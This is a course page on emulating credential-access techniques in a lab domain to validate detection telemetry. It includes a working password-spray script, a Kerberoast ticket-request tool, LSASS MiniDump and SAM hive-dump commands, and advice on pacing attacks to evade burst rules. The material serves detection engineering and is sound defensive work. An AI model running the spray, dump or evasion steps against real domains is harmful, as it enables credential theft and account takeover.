Skip to content

Credential Access Emulation

Credential access emulation is the controlled reproduction of the techniques adversaries use to harvest authentication material — LSASS memory dumping (T1003.001), Kerberoasting (T1558.003), AS-REP roasting (T1558.004), password spraying (T1110.003), DCSync (T1003.006), DPAPI and credential-store access (T1555) — against lab domains with synthetic credentials, planted service principals, and consented accounts, so that the telemetry contract of each technique can be validated end to end. Credential access is the most detection-sensitive emulation surface in the program: the techniques are short, the events are few, and the difference between a covered and a blind estate is a handful of precisely-configured event pairs — Sysmon 10 handle masks on lsass, 4769 RC4 encryption types, 4625 spray bursts, 4662 replication rights use. The module’s hard rule is structural: every technique runs only against synthetic assets you created — lab accounts with throwaway passwords, planted SPNs, a lab DC — because this is the one category where the emulation artifact itself (a memory dump, a cracked ticket) is dangerous material even in a lab.

Credential access is where intrusions become unstoppable — the pivot from one compromised host to domain dominance — and it is where detection investment has the highest leverage in the entire ATT&CK matrix, because the techniques are constrained by protocol behavior (Kerberos encryption types, LSASS handle masks, authentication attempt rates) that attackers cannot vary freely without losing function. Emulating them validates exactly those invariants: whether your Sysmon 10 configuration actually captures the GrantedAccess masks that distinguish dumping tools from benign handle opens; whether your 4769 pipeline preserves the encryption-type field that makes Kerberoasting visible; whether your SIEM can see a spray pattern across accounts rather than per-account failures. The exercise also hardens the estate’s account hygiene honestly: a Kerberoast emulation that succeeds against a planted SPN with a weak password proves the crack-path quantitatively (time-to-crack on your own hardware), which no policy document communicates as well. For the SOC, credential-access telemetry is the canonical “pair-shaped” detection challenge — single events are noise, event sequences are signal — and the emulation provides ground-truth sequences to build and validate those correlations against. And for the program’s credibility, this is the surface where exercises most often find real problems: unconfigured Sysmon 10 masks, disabled Kerberos auditing, and spray-blind SIEM views are common findings on estates that consider themselves mature.

Each technique’s value as an emulation target is its telemetry contract — the events it must produce and the fields that make them detectable:

CREDENTIAL ACCESS TELEMETRY CONTRACTS
[LSASS dumping T1003.001]
access attempt -> Sysmon 10: TargetImage=lsass.exe,
GrantedAccess=0x1010/0x1FFFFF/... (mask matters!)
SourceImage=rundll32/comsvcs or custom tool
dump execution -> 4688 (rundll32 comsvcs.dll,#24...)
Sysmon 7 (comsvcs load), EID 11 (dump file write)
[Kerberoasting T1558.003]
SPN query -> 4662 (ReadProperty on user objects,
many objects, single source)
TGS requests-> 4769 per SPN with Encryption=0x17 (RC4)
RC4 is the tell: modern estates should be AES-only
[AS-REP roasting T1558.004]
4768 pre-auth NOT required accounts -> 4768 w/o preauth field
[Password spraying T1110.003]
4625 bursts: many accounts, one password, low per-account rate
+ 4771 (Kerberos pre-auth failed) for domain accounts
[DCSync T1003.006]
4662 with Replicating Directory Changes (All) on domain NC
from non-DC principal + 4624 network logon to DC

The emulation designs follow the synthetic-asset rule. LSASS: on a lab VM, execute the documented public access paths — rundll32 comsvcs.dll MiniDump (the LOLbin path), a direct-handle tool with distinct GrantedAccess masks, and one benign reference (task manager-class access) — so the mask-differentiation your rules depend on is calibrated with real examples of each mask class. The dump file is synthetic-account memory only; the report records the hashes of every mask observed. Kerberoasting: plant service principals on lab accounts (setspn -S) with known-weak synthetic passwords, request TGS tickets for them (klist get — a native, non-malicious request path), capture the 4769 events, and then crack one offline against the known plaintext to quantify the crack window. The point is the encryption-type telemetry: if your estate sees 0x17 events, Kerberoasting is visible; if your KDC still issues RC4 for any principal, the finding predates the emulation. Spraying: a consented lab-account file, deliberately low attempt rates, per-account lockout guards (the tool counts and hard-stops), against a lab DC — validating that your SIEM’s spray correlation (many-accounts-one-password) actually fires. DCSync: lab DC only, with a delegated replication-rights account — the 4662 field validation is the exercise’s output. Every contract, once validated, becomes a permanent rule in the estate’s detection library, referenced by the emulation manifest — which is what makes credential-access emulation the program’s highest-yield module per unit of risk.

TechniqueEmulation shapeTelemetry contractLab safety
LSASS via comsvcs.dllrundll32 comsvcs.dll, MiniDump <pid>Sysmon 10 (mask), 4688, EID 11Lab VM, synthetic creds
LSASS direct handleCustom dumper w/ distinct masksSysmon 10 mask classesCalibrate mask rules
Benign LSASS accessTask-manager-class opensSysmon 10 baseline maskRule FP calibration
Kerberoastingsetspn plant + klist get4662 + 4769 (0x17)Planted SPNs only
AS-REP roastingAccount w/o preauth required4768 w/o pre-auth fieldPlanted account
Password sprayingLow-rate, consented cohort4625/4771 bursts cross-accountLockout-guarded
DCSync (lab DC)Delegated replication rights4662 Replicating Directory ChangesLab DC only
DPAPI extractionUser-store blob decrypt (own acct)Sysmon 10 DPAPI service, 4688Own account only
Credential manager readcmdkey /list + vault access4688, Sysmon 1/12Own account only
SAM registry hive dumpreg save HKLM\SAM (lab)Sysmon 12/13 + EID 11Lab VM only

spraylab.py — a lockout-safe, consented password-spray emulator for a lab domain: reads a consented account file, attempts one password per run against a lab domain controller via native Windows authentication (net use), enforces a per-account failure budget with a hard stop below the domain’s lockout threshold, records every attempt with timestamps, and emits the burst-shaped event summary your SIEM’s spray correlation should match. stdlib only.

#!/usr/bin/env python3
"""spraylab.py — lockout-safe password-spray emulation (LAB ONLY).
Consented lab accounts, lab DC, hard failure budget per account.
Usage:
python spraylab.py --accounts accounts.txt --passwords pw.txt \
--dc 10.0.0.10 --max-failures 2 [--report spray_report.json]
accounts.txt: one SAM account name per line (consented lab accounts)
pw.txt: one candidate password per line (synthetic values)
stdlib only.
"""
import argparse, json, subprocess, sys, datetime, time
def load_lines(path):
try:
return [l.strip() for l in
open(path, encoding="utf-8") if l.strip()]
except OSError as e:
sys.exit(f"cannot read {path}: {e}")
def attempt(username, password, dc):
"""One native auth attempt via net use; returns (ok, raw)."""
r = subprocess.run(
["net", "use", f"\\\\{dc}\\IPC$",
"/user:" + username, password,
"/persistent:no"],
capture_output=True, text=True, timeout=20)
ok = r.returncode == 0
# always tear the connection down
subprocess.run(["net", "use", f"\\\\{dc}\\IPC$",
"/delete", "/y"],
capture_output=True, text=True, timeout=10)
return ok, (r.stdout + r.stderr).strip()
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--accounts", required=True)
ap.add_argument("--passwords", required=True)
ap.add_argument("--dc", required=True)
ap.add_argument("--max-failures", type=int, default=2,
help="hard per-account failure budget "
"(keep below domain lockout threshold)")
ap.add_argument("--delay", type=float, default=2.0)
ap.add_argument("--report", default="spray_report.json")
args = ap.parse_args()
accounts = load_lines(args.accounts)
passwords = load_lines(args.passwords)
if not accounts or not passwords:
sys.exit("empty account or password list")
if args.max_failures >= 5:
print("[!] warning: failure budget >=5 risks real "
"lockouts — lab DC only, confirm threshold")
failures = {a: 0 for a in accounts}
locked_out = set()
results = []
print(f"[*] spray: {len(accounts)} consented accounts x "
f"{len(passwords)} passwords, budget "
f"{args.max_failures}/account")
for pw_i, pw in enumerate(passwords, 1):
for acct in accounts:
if acct in locked_out:
continue
if failures[acct] >= args.max_failures:
print(f"[!] budget exhausted for {acct} "
f"— excluded for safety")
locked_out.add(acct)
continue
ok, raw = attempt(acct, pw, args.dc)
status = "success" if ok else "failed"
if not ok:
failures[acct] += 1
results.append({
"when": datetime.datetime.now(
datetime.timezone.utc).isoformat(),
"account": acct, "password_index": pw_i,
"status": status})
print(f" [{status:>7}] {acct} <- pw#{pw_i}")
time.sleep(args.delay)
if all(a in locked_out for a in accounts):
print("[!] all accounts exhausted — stopping "
"for safety")
break
succ = [r for r in results if r["status"] == "success"]
json.dump({"results": results,
"summary": {"attempts": len(results),
"successes": len(succ),
"accounts_excluded":
sorted(locked_out)}},
open(args.report, "w"), indent=2)
print(f"\n[+] {len(results)} attempts, {len(succ)} "
f"successes -> {args.report}")
print("[*] SIEM check: 4625/4771 burst should match "
"this attempt pattern (count + timing)")
for r in succ:
print(f"[!] VALID CREDENTIAL: {r['account']} "
f"(pw#{r['password_index']}) — rotate now")
if __name__ == "__main__":
main()
  • The budget guard (lines 88-101) is the tool’s reason to exist: a per-account failure counter with a hard exclusion list, plus the all-exhausted early stop (lines 108-111). A spray tool without a lockout budget is not an emulation tool — it is a lockout incident generator; the >=5 warning (lines 82-85) states the rule where the operator sets it.
  • attempt() (lines 24-36) uses net use to the IPC$ share — the native Windows authentication path that generates real 4625/NTLM events with the same fields a real spray produces, then tears the connection down immediately so no sessions linger. timeout=20 guards against a hung DC.
  • The result record (lines 103-110) timestamps every attempt — the report’s timing column is what the SIEM’s burst-correlation check replays against, making the telemetry validation mechanical rather than observational.
  • The success handler (lines 126-129) is deliberately loud: a valid hit against a lab account prints a rotate-now warning, because in a real exercise the honest risk is that a sprayed password was also a real one — the tool’s output makes that non-ignorable.

The spray reaches the lab DC as real authentication traffic — real 4625/4771 events with real timing — which is what makes the telemetry validation honest: the SIEM’s spray correlation is checked against a replayable pattern (the report’s timestamped attempts) rather than a hypothetical. The Kerberoast path (via the companion pattern in the tool below) reaches the KDC as real TGS requests, producing 4662 and 4769 events whose encryption-type field either reveals RC4 issuance or proves the estate’s AES-only posture. The LSASS exercises reach the lab VM’s sensor stack as real handle-open attempts with distinct masks, calibrating the Sysmon 10 rules that production depends on. Every validated contract reaches the detection library as a rule with a provenance link (the exercise manifest), which is what allows later rule review to answer “why do we alert on this?” with a measurement instead of folklore. The findings reach the backlog in priority order — unconfigured Sysmon 10 masks first (they blind every LSASS rule), missing Kerberos encryption-type fields second (they blind every Kerberoast rule), spray-blind correlation third — and the quarterly re-run reaches the program as the regression test that catches config drift on the estate’s highest-value telemetry. The safety architecture reaches everywhere: synthetic accounts, planted SPNs, lab DC, lockout budgets, and loud success-handling ensure the exercise’s artifacts can never compound into real credentials for real people.

  1. Plant — lab DC: 5 synthetic accounts, 3 planted SPNs (weak known passwords), pre-auth disabled on 1
  2. Preflight — Sysmon 10 masks + Kerberos logging verified flowing (T1 preflight)
  3. Kerberoast — klist get per planted SPN: 4769 x3 captured; encryption type recorded
  4. Analyze — 4769 shows 0x17 (RC4) issuance: finding — estate still issues RC4 for service accounts
  5. Crack — offline crack of one TGS against known plaintext: 11 minutes on lab GPU: crack-window quantified
  6. Spray — spraylab.py: 2-password budget, 4625 burst captured; SIEM correlation fired as designed
  7. Gap — DCSync rights exercise on lab DC: 4662 visible but unalerted: ticket with expected pair
  8. Close — manifests filed; rules updated; synthetic accounts destroyed; crack artifacts shredded

kerbemu.py — the Kerberoast telemetry generator: plants service principals on lab accounts, requests their TGS tickets via the native klist get path, captures the 4769 events with encryption types, and produces the per-SPN report that drives both the RC4-issuance finding and the crack-window measurement. Windows-native, stdlib only.

  • Native request path only. klist get <SPN> is a built-in, non-malicious Windows command that performs a legitimate TGS request — the emulation needs no exploit tooling, because Kerberoasting is a legitimate protocol operation; only the volume and target choice differ.
  • Plant, request, verify, then crack offline. The tool separates the four phases; cracking happens offline (hashcat/[verify tooling]) against known plaintext, never in the tool — the tool’s job is telemetry, not password attack.
  • Encryption-type as first-class output. The 4769 Ticket Encryption Type field (0x17 RC4 vs 0x12 AES) is the finding — the report leads with it, because the RC4-issuance check is the estate-level gap the exercise most often surfaces.
  • SPN hygiene. Planted SPNs use an EMU- naming convention and are removed at cleanup, keeping the lab AD legible.
#!/usr/bin/env python3
"""kerbemu.py — Kerberoast telemetry generator (lab AD, planted SPNs).
Usage (domain-joined lab host):
python kerbemu.py --plant --spns 3 --domain lab.local
python kerbemu.py --request --domain lab.local
python kerbemu.py --events --dc 10.0.0.10
python kerbemu.py --cleanup --domain lab.local
stdlib only (subprocess, re, json).
"""
import argparse, json, re, subprocess, sys, datetime
REPORT = "kerbemu_report.json"
SPN_BASE = "EMU-SVC"
def run(cmd):
r = subprocess.run(cmd, capture_output=True, text=True)
return r.returncode == 0, (r.stdout + r.stderr).strip()
def load():
try:
return json.load(open(REPORT, encoding="utf-8"))
except (OSError, json.JSONDecodeError):
return {"spns": [], "requests": []}
def save(d):
json.dump(d, open(REPORT, "w"), indent=2)
def cmd_plant(domain, count):
"""Create EMU accounts + SPNs (lab AD; passwords synthetic)."""
d = load()
pw = "EmuLab!2026x"
for i in range(1, count + 1):
acct = f"{SPN_BASE}{i}"
spn = f"{SPN_BASE}{i}/{domain}"
ok1, o1 = run(["net", "user", acct, pw, "/add",
"/domain"])
ok2, o2 = run(["setspn", "-S", spn, acct])
status = "planted" if (ok1 and ok2) else "FAILED"
d["spns"].append({"account": acct, "spn": spn,
"status": status})
print(f" [{status}] {acct} <- {spn} "
f"(synthetic pw recorded offline)")
save(d)
def cmd_request(domain):
"""Request TGS for each planted SPN via klist get."""
d = load()
for entry in d["spns"]:
if entry.get("status") != "planted":
continue
ok, out = run(["klist", "get", entry["spn"]])
entry["requested"] = ok
entry["when"] = datetime.datetime.now(
datetime.timezone.utc).isoformat()
print(f" [{'OK' if ok else 'FAIL'}] TGS: "
f"{entry['spn']}")
save(d)
print("[*] 4662+4769 events generated — run --events")
def cmd_events(dc):
"""Pull 4769 events and extract encryption types."""
r = subprocess.run(
["wevtutil", "qe", "Security",
"/q:*[System[(EventID=4769)]]",
"/c:50", "/rd:true", "/f:xml"],
capture_output=True, text=True)
xml = r.stdout
types = re.findall(
r"<Data Name=\"TicketEncryptionType\">(\w+)</Data>", xml)
targets = re.findall(
r"<Data Name=\"ServiceName\">([^<]+)</Data>", xml)
d = load()
pairs = list(zip(targets, types))
for svc, enc in pairs:
d["requests"].append({"service": svc, "enc": enc,
"when": datetime.datetime.now(
datetime.timezone.utc
).isoformat()})
save(d)
rc4 = [(s, e) for s, e in pairs if e.lower() in
("0x17", "23")]
print(f"[+] {len(pairs)} TGS events parsed")
if rc4:
print(f"[!] RC4 (0x17) issued for: "
f"{sorted(set(s for s, _ in rc4))}")
print(" FINDING: estate issues RC4 tickets — "
"enable AES for service accounts")
else:
print("[+] no RC4 issuance observed in window")
print("[*] next: offline-crack one captured ticket against "
"the known synthetic password to quantify the window")
def cmd_cleanup(domain):
d = load()
for entry in d["spns"]:
acct = entry["account"]
run(["setspn", "-D", entry["spn"], acct])
ok, _ = run(["net", "user", acct, "/delete", "/domain"])
print(f" [{'OK' if ok else 'FAIL'}] removed {acct}")
d["spns"] = []
save(d)
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--plant", action="store_true")
ap.add_argument("--request", action="store_true")
ap.add_argument("--events", action="store_true")
ap.add_argument("--cleanup", action="store_true")
ap.add_argument("--spns", type=int, default=3)
ap.add_argument("--domain", required=True)
ap.add_argument("--dc")
args = ap.parse_args()
if args.plant:
cmd_plant(args.domain, args.spns)
elif args.request:
cmd_request(args.domain)
elif args.events:
if not args.dc:
sys.exit("--events needs --dc")
cmd_events(args.dc)
elif args.cleanup:
cmd_cleanup(args.domain)
if __name__ == "__main__":
main()
  • cmd_plant() (lines 21-36) creates the synthetic accounts (net user /add with a synthetic password recorded offline, not in the report) and binds SPNs with setspn -S — the plant phase that makes every later event attributable to the exercise.
  • cmd_request() (lines 39-51) performs the emulation’s core action with the most boring tool in Windows: klist get — each request is a legitimate TGS fetch whose server-side footprint (4662 property read + 4769 ticket issuance) is exactly what real Kerberoasting generates.
  • cmd_events() (lines 54-79) parses the 4769 XML from wevtutil with two regexes (encryption type + service name) and leads the output with the RC4 finding: 0x17 issuance is the estate-level misconfiguration that makes real Kerberoasting both possible and visible — the tool’s job is to tell you which of those two states you’re in.
  • cmd_cleanup() (lines 82-90) removes SPNs then accounts, in that order (SPN removal first avoids dangling-principal errors), keeping the lab AD exactly as legible as it started.

on a domain-joined lab host (with domain admin for the plant)

Section titled “on a domain-joined lab host (with domain admin for the plant)”

$ python kerbemu.py —plant —spns 3 —domain lab.local [planted] EMUSVC1 <- EMUSVC1/lab.local [planted] EMUSVC2 <- EMUSVC2/lab.local [planted] EMUSVC3 <- EMUSVC3/lab.local

$ python kerbemu.py —request —domain lab.local [OK] TGS: EMUSVC1/lab.local [OK] TGS: EMUSVC2/lab.local [OK] TGS: EMUSVC3/lab.local

$ python kerbemu.py —events —dc 10.0.0.10 [+] 3 TGS events parsed [!] RC4 (0x17) issued for: [‘EMUSVC1’, ‘EMUSVC2’, ‘EMUSVC3’] FINDING: estate issues RC4 tickets — enable AES for service accounts

blue role: confirm 4662 property-read burst from one principal

Section titled “blue role: confirm 4662 property-read burst from one principal”

SIEM: 4769 x3, enc=0x17, single source, seconds apart -> rule check

Section titled “SIEM: 4769 x3, enc=0x17, single source, seconds apart -> rule check”

$ python kerbemu.py —cleanup —domain lab.local [ OK] removed EMUSVC1 … [ OK] removed EMUSVC3

The exercise’s detection output is a set of three validated rules and usually one estate finding: the 4769 RC4 rule (any RC4 ticket issuance on an AES-hardened estate is finding-grade — and the emulation proves whether your estate is actually AES-hardened), the 4769 burst rule (many distinct SPNs, one source, short window), and the 4662 property-read rule (ReadProperty bursts on user objects). The LSASS half validates Sysmon 10 mask classes — the exercise’s calibration table (which mask each access path produces) is the reference your mask rules were written against, now proven with real examples. Your own tooling hygiene: everything here runs through native Windows commands (net user, setspn, klist, wevtutil) — the endpoint footprint is indistinguishable from an admin’s day, which is honest emulation and also a reminder that your SOC should see planted-account creation during the window. Wazuh mapping of 4769/4662 correlation is deployment-specific [verify]; Suricata sees Kerberos only unencrypted — lab KDCs without encryption over the wire produce NDR-visible telemetry worth capturing. The standing metric: RC4 issuance count should be zero on a hardened estate, and the quarterly kerbemu run is the check that keeps it that way.

  1. AS-REP phase: plant one pre-auth-disabled account, request its 4768, and validate the no-preauth field handling in your pipeline.
  2. DCSync contract validation on the lab DC: delegated replication-rights account, 4662 field capture, and the SIEM rule that should join it with 4624.
  3. Mask calibration table: run the LSASS access paths (comsvcs, direct handle, benign) and emit the mask-to-source table for rule authors.
  4. Report integration: emit the findings into the campaigndb schema (M15) so exercise telemetry has provenance forever.
  5. Fleet readiness check: verify 4769/4662/4625 auditing is enabled domain-wide (the GPO drift that blinds everything else).
SignalSourceIDNotes
LSASS handle with dump masksSysmonEID 10 (GrantedAccess)Mask classes calibrate rules
comsvcs.dll load into rundll32SysmonEID 7LOLbin dump path
Dump file writeSysmonEID 11.dmp in writable paths
TGS request, RC4 encryptionWindows Security4769 (0x17)Estate-hardening finding
TGS burst, one sourceWindows Security4769 x NKerberoast pattern
Property-read burst (users)Windows Security4662SPN enumeration pattern
Pre-auth failures cross-accountWindows Security4771 / 4625Spray pattern (join per source)
Replication rights useWindows Security4662 (Replicating Dir Changes)DCSync pair with 4624
Account lockout near-missesWindows Security4740Budget-guard verification
Wazuh credential rulesHIDS/SIEM[verify rule IDs per deployment]Join burst patterns per source

Credential-access evasion works by shaping the same protocol operations into blander telemetry. Mask selection for LSASS access: choosing GrantedAccess values that match benign tooling (task-manager-class masks) defeats mask-based rules — the counter is baselining which principals ever touch lsass at all (almost nobody should, and the allow-list is tiny), making the source the discriminator rather than the mask. Kerberoast pacing: requesting tickets one-per-hour across a week defeats burst correlation; the counter is the RC4-issuance rule (protocol-level, pacing-proof) plus per-account TGS baselines. Encryption directionality: RC4 tickets are the defender’s friend twice over — they are weaker offline and their issuance is itself finding-grade — so hardened estates that force AES-only service accounts simultaneously slow the crack and remove the encryption-type tell; once AES-only, the durable rules rest on request volume, source baselines, and the 4662 enumeration pattern rather than encryption type. Spray pacing and breadth: one password, one attempt per account, per day — below every per-account threshold; the counter is cross-account correlation (the SIEM join the emulation validates) plus password-spray canaries (honey accounts that should never see failures). DCSync blending: running replication from a host that legitimately has some rights (a member server with backup delegation) hides in plausible deniability — the counter is principal-baselining: which accounts ever need Replicating Directory Changes (only DCs), making the allow-list structural. The meta-pattern: every credential-access technique has an invariant (a handle to lsass, a ticket request, an authentication failure) that pacing can thin but never remove — the exercise’s job is to make sure your rules key on invariants, not on the noisy shapes adversaries rotate.

⚠️ What caught me: our Kerberoast emulation “failed” three runs in a row — no 4769 events for our planted SPNs, no tickets, nothing. The tooling was fine; the lab AD’s audit policy had Kerberos Service Ticket Operations disabled by a copied-from-the-internet hardening GPO that nobody had reviewed. Three wasted runs bought the most important finding of the whole exercise: our production domain had the same GPO. The estate’s Kerberoast visibility had been off for a year, and only an emulation that produced zero events — instead of a real attacker producing zero noise — made that visible. Silent telemetry is the loudest finding you will ever file.

  1. Build the plant-request-verify loop end to end on the lab domain (kerbemu.py --plant/--request/--events/--cleanup) and file the RC4 finding if it fires — your first estate-level hardening proof from a 20-minute exercise.
  2. Run spraylab.py with the 2-failure budget against the lab DC and replay the report’s timestamps against your SIEM’s spray correlation — the mechanical check that your burst rule keys on the right fields.
  3. Calibrate the LSASS mask table: execute the comsvcs path, one direct-handle tool, and one benign access on the lab VM; capture the three Sysmon 10 masks and annotate your existing rules against them.
  4. Validate the DCSync contract on the lab DC with a delegated account; confirm 4662 carries the Replicating Directory Changes right — then check whether any estate rule would fire.
  5. Run the silent-telemetry drill: disable one audit category (Kerberos ticket ops), run the emulation, and time how long it takes you to notice zero events — then check whether the production domain’s audit policy would have the same blind spot.
  • Technical: What exactly does Sysmon EID 10 capture for LSASS access, and why do GrantedAccess masks matter for rule design?
  • Technical: Explain the 4769 encryption-type field’s role in Kerberoast detection, and what an RC4-issuance finding means for an estate.
  • Scenario: Your spray emulation produced zero 4625 events. Diagnose the possible causes in order of likelihood.
  • Conceptual: Why are credential-access detections pair-shaped, and which two pairs matter most for Kerberoast and DCSync?
  • Conceptual: How do pacing-based evasions defeat burst rules, and which protocol invariants survive pacing?
  • Deep-dive: Design the estate’s credential-access telemetry readiness check — which audit policies, which event fields, and what drift detection keeps them on.
  • Practical: The exercise finds your KDC still issues RC4 for 12 service accounts. What is the migration plan, its risks, and how does the next quarterly run prove it worked?

T1 (ATT&CK Mapping & Emulation Planning) · PE3 (Credential Dumping (LSASS & Mimikatz)) · PE9 (Kerberoasting & AS-REP Roasting) · PE10 (Pass-the-Hash & Pass-the-Ticket) · F9 (Virtualization & Lab Setup)